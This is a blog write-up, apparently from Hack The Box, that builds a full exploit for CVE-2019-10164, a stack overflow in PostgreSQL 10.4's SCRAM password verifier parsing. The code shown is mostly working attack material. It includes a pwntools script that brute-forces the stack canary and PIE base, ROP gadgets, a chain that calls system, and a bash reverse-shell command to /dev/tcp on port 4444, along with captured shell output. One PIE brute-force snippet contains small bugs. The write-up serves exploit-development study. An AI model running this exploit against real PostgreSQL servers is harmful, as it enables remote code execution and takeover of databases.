Hacker

20 min read

CVE-2019-10164: A case study

HTB CTF Machines Coordinator Shaksham Jaiswal explores a buffer overflow vulnerability in every technical detail. A thrilling read for hackers!

MinatoTW,
Jun 28
2021

After playing around with various binary exploitation techniques across multiple CTFs, I decided it was time to tinker with actual software. Starting with CVEs that don't have a public PoC seemed like a good idea, as I'd know where to look. I stumbled across CVE-2019-10164 a couple months ago and thought of starting with this. All 10.x versions before 10.9 and 11.X versions before 11.4 are found to be vulnerable. We'll be looking at version 10.4, which I picked randomly.

It's a stack based buffer overflow bug triggered as a result of crafted passwords, which can be leveraged to execute code in the context of the postgres user. This article assumes basic knowledge of stack based exploitation as well as return oriented programming (ROP) techniques.

Recon

Let's start with a bit of recon and code review, to see what we're up against. I browsed to the PostgreSQL GitHub repository and searched for this CVE number, which returned two commits. 

Commit results in git.

Both of the commits seem to be associated with PostgreSQL SCRAM verifiers.

First things first, what are Salted Challenge Response Authentication Mechanism (SCRAM) verifiers? PostgreSQL hashes its passwords using MD5 by default, although a new SCRAM mode of authentication was introduced in the later versions. SCRAM offers more security than the MD5 algorithm. I won't go deep into its details (as this isn't a crypto primer :P) but the basic format of a verifier is as follows:

SCRAM-SHA-256$<iterations>:<salt>$<storedkey>:<serverkey>

The salt, storedkey and serverkey fields are base64 encoded. For example:

SCRAM-SHA-256$4096:UrxBRgDElbaS4iwfRzn59g==$SErsniXa5gEr03cXhcFPLSM4C/22IKTJ9emThT+wPrM=:rSaLPYfC3eor3cq3f1Zq6Dw2Rl7HwIUHCMP7avpJQak=

Let's go back to the commits, and look at the second commit from the results above. The following snippet is found in the parse_scram_verifier function in src/backend/libpq/auth-scram.c.

Programming code.

We see that the new code (in green) has introduced a line to allocate a buffer (decoded_server_buf) dynamically using palloc. The pg_b64_dec_len function is used to calculate the length of a base64 string after it's decoded. This buffer is then passed to the pg_b64_decode call, which decodes serverkey_str and copies it to the buffer. The function then returns with an error if the length of the decoded string isn't equal to SCRAM_KEY_LEN. One interesting thing to notice is that the verifier string isn't checked for length. 

However, the older code (in red) seems to copy the decoded data to server_key. The function definition shows that this buffer address is passed as a parameter.

code

We need to find where this function is called in the source. Switch to the version 10.4 source tree (REL104) by choosing it from the tags. Searching through the file auth-scram.c, we see that this function is called twice.

Programming code.

The call inside scram_verify_plain_password is of interest. The image shows that the server_key buffer is SCRAM_KEY_LEN bytes long, which is constant. 

The bug seems obvious now, doesn't it? The parse_scram_verifier function ends up decoding the server key present in the verifier into a buffer of fixed size. As the length of the verifier isn't restricted, we can send a longer base64 encoded string to overflow the buffer. 

The value of this constant can be found by searching for it through the search bar.

stuff

This is found to be equal to SHA256 digest length. We already know that SHA-256 hashes are 32 bytes (256 bits) in length. 

Looking at the function stack variables:

char	   *encoded_salt;
char	   *salt;
int			saltlen;
int			iterations;
uint8		salted_password[SCRAM_KEY_LEN];
uint8		stored_key[SCRAM_KEY_LEN];
uint8		server_key[SCRAM_KEY_LEN];
uint8		computed_key[SCRAM_KEY_LEN];
char	   *prep_password = NULL;
pg_saslprep_rc rc;

Both server_key and computed_key are 32 bytes in length, which is 64 bytes in total. Regardless of the order the variables are declared in, the compiler positions buffers at the bottom. This is done to prevent modification of other variables due to buffer overflows. We can conclude that we'll have to send more than 64 bytes in order to write outside the allocated stack memory.

Setup & Installation

PostgreSQL only provides the latest versions through it's APT repository, but we can build version 10.4 locally. The commands below are assumed to be run as a non-root user.

sudo apt-get install make
sudo apt-get install gcc
sudo apt-get install libreadline6 libreadline6-dev
sudo apt-get install zlib1g-dev
sudo apt-get install bison
mkdir postgres && cd postgres

#Download postgres
wget https://ftp.postgresql.org/pub/source/v10.4/postgresql-10.4.tar.gz
tar xfz postgresql-10.4.tar.gz
cd postgresql-10.4

Follow the steps above to install all dependencies and download the PostgreSQL source. 

./configure --enable-debug
make
sudo make install
cd ..
/usr/local/pgsql/bin/initdb -D ./data
/usr/local/pgsql/bin/postgres -D ./data
/usr/local/pgsql/bin/createdb test
/usr/local/pgsql/bin/psql test

The --enable-debug flag will provide us with symbols and source while debugging. Next, create the two users postgresand test. The postgres user is a superuser which we'll use to perform queries.

CREATE USER postgres WITH PASSWORD 'password';
CREATE USER test WITH PASSWORD 'password';
ALTER USER postgres WITH SUPERUSER;
\q

The test user on the other hand will be used to exploit the bug. Next, we will change the login type to md5, to enable network-based login.

sed -i s/trust/md5/g data/pg_hba.conf

Verify the login using the command below.

/usr/local/pgsql/bin/psql test -U postgres -p 5432 -h 127.0.0.1
Password for user postgres:
psql (10.4)
Type "help" for help.

test=> select version();
                                               version
------------------------------------------------------------------------------------------------------
 PostgreSQL 10.4 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit
(1 row)

 

Triggering the bug

Let's look at the binary protections before trying to crash the program.

checksec /usr/local/pgsql/bin/postgres
[*] '/usr/local/pgsql/bin/postgres'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/usr/local/pgsql/lib'

As we can see, all protections are enabled, RELRO (Read only GOT), Canary (Return address protection), NX (No execution on the stack) and PIE (Randomized base address). This makes the exploitation considerably harder than a simple buffer overflow. 

Let's dive into the exploitation now. It's known that the vulnerability is caused due to copying the decoded server key into a fixed size buffer. We also know that a size of 64 or more is needed to do this. First, start the PostgreSQL server under GDB.

PGDATA=data gdb /usr/local/pgsql/bin/postgres
gef➤  run
^C
gef➤  set follow-fork-mode child
gef➤  c

After issuing run hit Ctrl + C and then use set follow-fork-mode child to follow child processes. 

Note: Make sure to kill the existing process, in case you wish to restart the debugger.

Let's prepare a payload next.

python2 -c "print 'A'*72" | base64 -w0

We already have a sample SCRAM hash from earlier, replace the server key in there with the payload generated above.

SCRAM-SHA-256$4096:UrxBRgDElbaS4iwfRzn59g==$SErsniXa5gEr03cXhcFPLSM4C/22IKTJ9emThT+wPrM=:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBCg==

PostgreSQL supports password changes directly using the SCRAM hash as well. This can be done as follows:

ALTER ROLE test PASSWORD 'SCRAM-SHA-256$4096:UrxBRgDElbaS4iwfRzn59g==$SErsniXa5gEr03cXhcFPLSM4C/22IKTJ9emThT+wPrM=:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBCg==';

Entering this onto the psql prompt should successfully crash the server.

PGDATA=data gdb /usr/local/pgsql/bin/postgres

<SNIP>
2021-06-14 16:21:50.638 IST [160892] LOG:  invalid SCRAM verifier for user "test"
2021-06-14 16:21:50.638 IST [160892] STATEMENT:  ALTER ROLE test PASSWORD 'SCRAM-SHA-256$4096:UrxBRgDElbaS4iwfRzn59g==$SErsniXa5gEr03cXhcFPLSM4C/22IKTJ9emThT+wPrM=:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBCg==';
*** stack smashing detected ***: terminated

Thread 2.1 "postgres" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff7c32340 (LWP 160892)]__GI_raise ([email protected]=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
```

Using the `backtrace` command will print the call trace leading up to the crash.

Using the backtrace command will print the call trace leading up to the crash.

gef➤  backtrace
#0  __GI_raise ([email protected]=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff7c58859 in __GI_abort () at abort.c:79
#2  0x00007ffff7cc33ee in __libc_message ([email protected]=do_abort, [email protected]=0x7ffff7ded07c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff7d659ba in __GI___fortify_fail ([email protected]=0x7ffff7ded064 "stack smashing detected") at fortify_fail.c:26
#4  0x00007ffff7d65986 in __stack_chk_fail () at stack_chk_fail.c:24
#5  0x00005555557ef154 in scram_verify_plain_password ([email protected]=0x555555cf5398 "test", [email protected]=0x555555b58b45 "", <SNIP>") at auth-scram.c:440
#6  0x00005555557e4cc0 in plain_crypt_verify ([email protected]=0x555555cf5398 "test", [email protected]=0x555555d555b0 "<SNIP>") at crypt.c:230
#7  0x00005555557a0c62 in AlterRole ([email protected]=0x555555d55780) at user.c:608
<SNIP>

As we can see, the AlterRole function ended up calling scram_verify_plain_password, which is where we found the bug. We can also see that the overflow was detected in __stack_chk_fail due to canary overwrite. Let's switch to that stack frame and examine it.

gef➤  frame 5
gef➤  stack
0x00007fffffffccc0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffccc8│+0x0008: 0x0000100000000000
0x00007fffffffccd0│+0x0010: 0x0000000000000000
<SNIP>
0x00007fffffffcd40│+0x0080: 0x4141414141414141
0x00007fffffffcd48│+0x0088: 0x4141414141414141
0x00007fffffffcd50│+0x0090: 0x4141414141414141
0x00007fffffffcd58│+0x0098: 0x4141414141414141
0x00007fffffffcd60│+0x00a0: 0x4141414141414141
0x00007fffffffcd68│+0x00a8: 0xb0c3dba915d3a30a
0x00007fffffffcd70│+0x00b0: 0x0000000000000000
0x00007fffffffcd78│+0x00b8: 0x0000555555cf5398  →  0x0038320074736574 ("test"?)
0x00007fffffffcd80│+0x00c0: 0x0000555555d555b0  →  "SCRAM-SHA-256$4096:U4iwfRzn59g==$SErsni[...]"
0x00007fffffffcd88│+0x00c8: 0x0000555555b58b45  →  0x7325094d554e4500
0x00007fffffffcd90│+0x00d0: 0x0000555555d308c8  →  0x0000000000000680
0x00007fffffffcd98│+0x00d8: 0x00005555557e4cc0  →  <plain_crypt_verify+80> test al, al ($savedip)
gef➤  canary
canary : 0xb0c3dba915d3a300

As we can see, the last byte of the canary at 0x00007fffffffcd68 was overwritten by a new line 0xa from our payload. This resulted in the canary check failing, leading to SIGABRT. We also see the return address at 0x00007fffffffcd98.

One thing to notice is that there's no RBP set with a stack address here. This is due to compiler optimization (-fomit-frame-pointer) when compiling the binary. It just uses the RSP and frees up RBP to be used as a normal register. More information on these optimizations can be found here.

Now the next step is to weaponize this bug to gain command execution. The first obvious hurdle is the canary, which will have to be leaked. Luckily for us, PostgreSQL forks a new process for every connection. According to the man page, the child replicates the entire parent memory space including the canary and file descriptors. This will allow us to bruteforce the canary byte by byte until the server doesn't crash.

Note: All memory addresses specified in this post will be subject to change based on the compiler and version of PostgreSQL being used.

Scripting

First, we'll have to prepare a script to automate the process. I'll be using Python with pwntools throughout this post. PostgreSQL uses a binary protocol which can be examined using Wireshark. Start Wireshark with the pgsql filter and then login.

SQL network data.

First two pairs of packets are the same, so we can ignore the first pair. Click on the first packet then look at the details below.

Hexadecimal code.

The client informs the server about the type of message, version, username, database and encoding. This information is static and can be used directly. Right click on PostgreSQL and copy > Hexstream.

from pwn import *

r = remote("127.0.0.1", 5432)
alter = "ALTER ROLE test PASSWORD 'SCRAM-SHA-256$4096:UrxBRgDElbaS4iwfRzn59g==$SErsniXa5gEr03cXhcFPLSM4C/22IKTJ9emThT+wPrM=:{}';"

def authenticate():
    init = unhex("00000050000300007573657200706f7374677265730064617461626173650074657374006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000")

    r.send(init)
    resp = r.recv(1024)

The alter variable is the template that will contain the payload. The authenticate function will contain the logic to authenticate us. We decode the packet and store it in init. This is sent to the server and a response is received. Let's look at the response now.

Scripting code.

The server responds with the type (0x52), the length (0xc) and the authentication type (5), i.e. md5 along with the salt at the end. Salts are usually prefixed/suffixed to the plaintext before hashing it. Let's look at the client response.

Hexadecimal code.

It responds with the hash prefixed with md5.

PostgreSQL stores a user password in the form of a shadow hash, which is a hash calculated by concatenating the password and role (passwordpostgres in our case). The logic for this can be found here. As we can see, encrypt_password calculates the MD5 of the password + role string. Let's generate the shadow hash for our user.

echo -n passwordpostgres | md5sum
32e12f215ba27cb750c9e093ce4b5127  -

This is now used to authenticate to the server along with the salt.

echo -n "32e12f215ba27cb750c9e093ce4b5127\x5f\x39\xc4\xc7" | md5sum
726fc9b5e4028f3c7103d4a208174106  -

As we can see, our calculated hash now matches the client response. Let's implement this in the script.

def authenticate():
    init = unhex("00000050000300007573657200706f7374677265730064617461626173650074657374006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000")

    r.send(init)
    resp = r.recv(1024)

    salt = resp[-4:]
    shadow_pass = b"32e12f215ba27cb750c9e093ce4b5127"

    enc_hash = hashlib.md5(shadow_pass + salt).hexdigest()
    log.debug(f"Response hash: {enc_hash}")

    auth  = "\x70\x00\x00\x00\x28"
    auth += "md5"
    auth += enc_hash + "\x00"

    r.send(auth)
    resp = r.recv(1024)

This retrieves the salt from the initial server response and then hashes it along with the shadow pass. Next, we'll craft the authentication packet in the expected format and send it. Here's the final server response packet.

Hexadecimal code.

As we can see, the Authentication type is set to success, signified by four null bytes starting from the 8th byte.

def authenticate():
    init = unhex("00000050000300007573657200706f7374677265730064617461626173650074657374006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000")

    r.send(init)
    resp = r.recv(1024)

    salt = resp[-4:]
    shadow_pass = b"32e12f215ba27cb750c9e093ce4b5127"

    enc_hash = hashlib.md5(shadow_pass + salt).hexdigest()
    log.debug(f"Response hash: {enc_hash}")

    auth = "\x70\x00\x00\x00\x28"
    auth+= "md5"
    auth+= enc_hash + "\x00"

    r.send(auth)
    resp = r.recv(1024)
    if resp[5:9] == b"\x00" * 4:
        log.debug("Authentication successful")
    else:
        log.error("Authentication failed")

This lets us finish the authenticate function as we can determine a valid login. Now let's try looking at how queries are made.

select version();

Enter the SQL query above and return to Wireshark.

Hexadecimal code.

The packet structure includes one byte for the type Q, 4 bytes for the query length, followed by the null-terminated query string. Keep in mind that the length includes the query as well as the preceding 5 bytes. Let's implement this in our script.

def sendQuery(query):
    data = b"Q"
    data += p32(len(query) + 5, endianness = "big")
    data += query.encode()
    data += b"\x00"
    r.send(data)
    return r.recvS(timeout = 1)

The sendQuery function encodes the query in the required format and sends it. A timeout is added to the recv call in case the server crashes. Let's try using these functions.

authenticate()
print(sendQuery("select version();"))

Running the script results in successful authentication and querying.

python3 exploit.py

[+] Opening connection to 127.0.0.1 on port 5432: Done
T\x00\x00\x00version\x00\x00\x00\x00\x00\x19\xbfÿÿÿÿÿ\x00D\x00\x00\x00\x00\x00PostgreSQL 10.4 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bitC\x00\x00SELECT 1\x00\x00\x00I
[*] Closed connection to 127.0.0.1 port 5432

 

Leaking the canary

Let's start implementing the logic to bruteforce the canary. Before that, we need to be able to differentiate between valid and invalid bytes. We know that the first byte of a canary is null. Let's try using this to check.

r = remote("127.0.0.1", 5432)
authenticate()
payload = alter.format(b64e(b'A' * 72 + b'\x00'))
print(sendQuery(payload))
r.close()

We send a 72 byte string followed by a null byte. 

python3 exploit.py

[+] Opening connection to 127.0.0.1 on port 5432: Done
C\x00\x00ALTER ROLE\x00\x00\x00I
[*] Closed connection to 127.0.0.1 port 5432

The query was successful and the server responded. Let's try with the following payload next.

payload = alter.format(b64e(b'A' * 73))

This time we have a 73 byte string, which will end up corrupting the canary.

python3 exploit.py

[+] Opening connection to 127.0.0.1 on port 5432: Done
Traceback (most recent call last):
  File "exploit.py", line 39, in <module>
    print(sendQuery(payload))
  File "exploit.py", line 34, in sendQuery
    return r.recvS(timeout = 1)
<SNIP>
EOFError

As we can see, the query crashed the server and we received an EOFError. This provides enough information to determine a valid byte in the canary. Let's implement this in the script.

canary = b"\x00"
r = None

def brute(data, p):
    global r
    for i in range(0, 256):
        r = remote("127.0.0.1", 5432, level = 'error')
        authenticate()
        payload = b"A" * 72 + data + bytes([i])
        p.status(hexdump(data + bytes([i]), width=8))
        query = alter.format(b64e(payload))
        try:
            sendQuery(query)
            r.close()
            return bytes([i])
        except EOFError:
            r.close()
            sleep(1)
            continue

def getCanary():
    global canary
    with log.progress('') as p:
        for i in range(7):
            p.status(hexdump(canary, width=8))
            canary += brute(canary, p)

log.info("Leaking canary")
getCanary()
log.success(f"Leaked canary: {hexdump(canary, width=8)}")

We add two functions, brute and getCanary. The getCanary function simply calls brute and passes the updated canary to it. Unfortunately, the PostgreSQL server takes a while to restart, which means that we need to wait before sending the next query. This also means that we can't thread the bruteforce, making this a longer process.

$ python3 exploit.py
[*] Leaking canary
[+] Done
[+] Leaked canary
    00000000  00 2b 86 38  b3 09 fe 06  │·+·8│····│
    00000008

The bruteforce was successful and we retrieved the canary.

Leaking PIE address

The next step is to leak the return address in order to calculate the PIE base. A major issue while leaking the return address was the huge text segment of PostgreSQL. There were multiple instructions that resulted in a safe return.

For example: Both addresses 0x00005555557e4cc0 and 0x00005555557ef211 failed to crash the server, resulting in false positives. This made bruteforce difficult due to the random results. 

After a bit of debugging and trial and error, I found an address that returned a different response. 

Hexadecimal code.

The address ended up triggering an error which returned MemoryContextAlloc in the packet. This address ended with 0xce0 and didn't result in false positives. There are probably other methods to approach this, but I found this to be reliable.

Let's update the script to bruteforce the PIE address.

pieleak = b"\xe0"

def brutePIE(data, p):
    global r
    for i in range(0x00, 256):
        r = remote("127.0.0.1", 5432, level = 'error')
        authenticate()
        payload = b"A" * 72 + canary + b"B" * 40 + data + bytes([i])
        p.status(hexdump(data + bytes([i]), width=8))
        query = alter.format(b64e(payload))
        try:
            if "MemoryContextAlloc" in sendQuery(query):
                return bytes([i])
            else:
                r.close()
        except:
            r.close()
            sleep(1)
            continue

def getPIE():
    global pieleak
    with log.progress('') as p:
        for i in range(7):
            p.status(hexdump(pieleak, width=8))
            piebase += brutePIE(pieleak, p)

log.info("Leaking PIE address")
getPIE()
log.success(f"Leaked PIE Address: 0x{pieleak.hex())}")

These functions are similar to the canary bruteforce logic. It checks if the response contains MemoryContextAlloc . We set the leak to 0xe0 to begin with, as last 12 bits are always constant due to page alignment. We already know that the canary and return address are 40 bytes apart. Let's restart the server and run the script now.

python3 exploit.py
[*] Leaking canary
[+] Leaked canary
    00000000  00 07 fb 44  61 cc 04 4f  │···D│a··O│
    00000008
[*] Leaking PIE address
[+] Done
[+] Leaked PIE Address: 0x00005555557e4ce0

We successfully leaked the PIE address. The base address can be calculated using the debugger.

gef➤  p $_base()
$1 = 0x555555554000
gef➤  p/x 0x00005555557e4ce0 - $_base()
$7 = 0x290ce0

Let's add this to the script as well:

if __name__ == "__main__":
    r = None
    canary = b"\x00"
    pieleak = b"\xe0"

    log.info("Leaking canary")
    getCanary()
    log.success(f"Leaked canary: {canary.hex()}")

    log.info("Leaking PIE address")
    getPIE()
    log.success(f"Leaked PIE Address: 0x{pieleak[::-1].hex()}")

    base = u64(pieleak) - 0x290ce0
    log.success(f"Base address: {hex(base)}")

 

ROP chain

Now that we have the canary and base address, all that's left is to build a ROP chain and execute a shell. There are multiple ways to do this, via mprotect + shellcode or leak libc + execve and many more. However, the binary has imported the system function from libc.

gef➤  info functions [email protected]
All functions matching regular expression "[email protected]":

Non-debugging symbols:
0x00005555555fe330  [email protected]
0x00007ffff7f8c6e0  [email protected]

gef➤  p/x 0x00005555555fe330 - $_base()
$1 = 0xaa330

This makes our work 10 times easier, as we can just set rdi to our shell command address. I will be creating a ROP chain to copy a bash reverse shell to BSS and then pop it into RDI. For this we will need a Write-What-Where (WWW) gadget of the form mov [reg], reg or similar. 

ropper --file /usr/local/pgsql/bin/postgres --search "mov [%], r??; ret"

<SNIP>
0x000000000027ce78: mov qword ptr [rsi], rax; ret;
0x00000000001cf094: mov qword ptr [rsi], rdi; ret;

We found two pretty clean gadgets for our purpose. Next, we need to find two gadgets to pop into RDI and RSI. 

ropper --file /usr/local/pgsql/bin/postgres --search "pop r?i; ret"

0x00000000000c55cd: pop rdi; ret;
0x00000000000f9731: pop rsi; ret;

This provides us with everything we need to start building the ROP chain. We can find the writable region using GDB.

gef➤  vmmap postgres
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
<SNIP>
0x0000555555c50000 0x0000555555c5d000 0x00000000006fb000 rw- /usr/local/pgsql/bin/postgres
gef➤  p/x 0x0000555555c50000 - $_base()
$6 = 0x6fc000

Let's implement the chain now.

def buildChain():
    '''
    0x00000000001cf094: mov qword ptr [rsi], rdi; ret;
    '''
    mov_rsi_rdi = rebase(0x00000000001cf094)

    '''
    0x00000000000c55cd: pop rdi; ret;
    '''
    pop_rdi = rebase(0x00000000000c55cd)

    '''
    0x00000000000f9731: pop rsi; ret;
    '''
    pop_rsi = rebase(0x00000000000f9731)

    '''
    0x00000000002ebffc: ret;
    '''
    ret = rebase(0x00000000002ebffc)

    cmd = b"/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
    bss = 0x6fc000
    system = 0xaa330
    chain = b''

    for i in range(0, len(cmd), 8):
        chain += pop_rsi + rebase(bss + i)
        chain += pop_rdi + cmd[i:i+8].ljust(8, b"\x00")
        chain += mov_rsi_rdi

    chain += pop_rdi + rebase(bss)
    chain += ret
    chain += rebase(system)
    return chain

The chain performs two actions: 1. It copies the payload in chunks of 8 bytes to the BSS segment using the WWW gadget and 2. It pops the BSS address into RDI and calls system. We also use a ret instruction to avoid the MOVAPS issue on Ubuntu caused by stack misalignment. This should end up executing the shell. 

Getting a shell

With the ROP chain in hand, the last thing left to do is to send the request and receive the shell.

def execChain():
    global r
    r = remote("127.0.0.1", 5432, level = 'error')
    authenticate()
    chain = buildChain()
    payload = b"A" * 72 + canary + b"B" * 40 + chain
    query = alter.format(b64e(payload))
    try:
        sendQuery(query)
    except:
        return

if __name__ == "__main__":
	<SNIP>

    log.info("Sending ROP chain")
    t = threading.Thread(target=execChain, args=[])
    t.start()
    l = listen("4444")
    l.wait_for_connection()
    l.interactive()
    l.close()

The execChain() function sends the chain and then a listener is started to receive the shell. Let's run the script now.

python3 exploit.py
[*] Leaking canary
[+] Done
[+] Leaked canary: 00bb930c76c70127
[*] Leaking PIE address
[+] Done
[+] Leaked PIE Address: 0x000055f91672ece0
[+] Base address: 0x55f91649e000
[*] Sending ROP chain
[+] Trying to bind to 0.0.0.0 on port 4444: Done
[+] Waiting for connections on 0.0.0.0:4444: Got connection from 127.0.0.1 on port 55730
[*] Switching to interactive mode
bash: cannot set terminal process group (247277): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=0(root) gid=0(root) groups=0(root)

The exploit was successful and we received a reverse shell. In case the scenario doesn't allow a reverse shell, the ROP chain can be extended with dup2() calls to duplicate the file descriptors and then spawn sh. You can find my entire exploit here.

It's possible to develop the same exploit for vulnerable out of the box PostgreSQL packages. This is left as an exercise for the reader. You can use the 10.4 Docker image as well. One interesting change on the Docker image was the -fno-pltcompiler optimization. This led to the removal of the PLT table due to no lazy binding. The binary instead called addresses directly from the GOT. Due to this, a call [rsi] gadget had to be used instead. 

Overall this was a pretty fun and simple exercise with a few twists. It also goes on to prove that binary protections aren't a silver bullet and proper logic is essential when programming. Feel free to contact me via Discord or Twitter if you have any queries!

Share article

Hack The Blog

The latest news and updates, direct from Hack The Box